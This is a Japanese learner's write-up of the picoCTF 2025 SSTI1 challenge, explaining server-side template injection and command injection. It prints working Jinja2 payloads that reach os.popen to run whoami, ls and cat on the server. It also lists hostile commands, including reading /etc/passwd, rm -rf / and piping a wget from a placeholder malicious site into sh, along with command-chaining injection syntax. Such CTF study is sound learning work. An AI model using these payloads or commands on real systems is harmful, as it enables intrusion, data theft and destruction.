Closed14

picoCTF2025 SSTI1 を解く

buno15buno15

サイトからFlagを取得するためになにをすべきなのか?
form要素があり、<script>console.log()</script> と入力してみたらJSが動作した。

buno15buno15

formにプログラムを直接挿入でき、遷移先のページで指定したプログラムを動作させられる。

buno15buno15

しかしflagがどこに格納されているのかわからないため、例えばconsole.logで出力させようにも分からない。ヒントにはServer Side Template Injectionとあるが、ちんぷんかんぷん。

buno15buno15

開発者ツールの「ネットワーク」にはいくつかのJSファイルを受け取っているが、関係があるのかは不明。

buno15buno15

Server Side Template Injection で調べる

buno15buno15

Server Side Template Injection (SSTI)

テンプレートエンジンがユーザー入力を適切に処理せずにテンプレートに埋め込んでしまうことで、
サーバー側で任意のコードが実行される脆弱性のこと。

例えばテンプレート構文{{ 7 * 7 }}をformに入力したとき、計算結果49が表示されると脆弱性があるとわかる。JSのscriptタグが動作したのも適切にユーザー入力を処理していないということか。

buno15buno15

攻撃者目線で表示させたい内容は、

  • コマンド実行の結果
  • 機密情報
  • ファイルの中身
  • ファイルやディレクトリのパス情報
  • 動作しているプログラムのオブジェクト探索結果
  • アプリケーションの設定やルーティング
buno15buno15
  1. Jinja2であるとわかったので、サーバー上で任意のコマンドを実行してみる
    • whoamiコマンドでユーザー名を取得したい
    • {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘whoami’).read() }}
    • コマンドインジェクションに脆弱であると確認できたため、色々試してみる
    • lsコマンドでファイルを検索
    • {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(' ls ').read() }}
    • flagが記入されてそうなファイルがあったため、catで表示する
    • {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(' cat flag ').read() }}
    • flag表示で解決。
buno15buno15

今回の解決ステップをまとめると、

  1. 脆弱性を特定する
  2. 使用されている技術を特定する
  3. Jinja2でのSSTIであったため、サーバー内でコマンドが実行できるか確認する
  4. コマンドが実行できると確認できたため、サーバー内を探索
buno15buno15

詰まったポイント

  • SSTIの存在を知らなかったので任意のJSプログラムを実行させることで解決すると思っていた
  • SSTIだとわかり{{ config }}などの情報を出力したが手がかりにならなかった
  • サイト上のデータを出力させることにこだわりサーバー内の情報には意識が向かなかった
  • というよりコマンドインジェクション理解してない
buno15buno15

コマンドインジェクション

攻撃者がアプリケーションを通じてOSのシェルコマンドを不正に実行させる脆弱性のこと。

危険なコマンド

  • whoami
  • cat /etc/passwd
  • rm -rf /
  • wget http://やばいサイト/マルウェア.sh | sh
buno15buno15

コマンドインジェクションの兆候

  • ; ls: コマンドを連結する
  • && whoami: ANDで後続のコマンドを実行
  • $(whoami): コマンド置換
  • 'whoami': バッククオートによる実行

発生しやすいケース

  • exec, system, popen などを使っているアプリ
  • ユーザー入力が そのままOSコマンドに組み込まれる
  • サニタイズ(無害化)やエスケープが不十分
このスクラップは20日前にクローズされました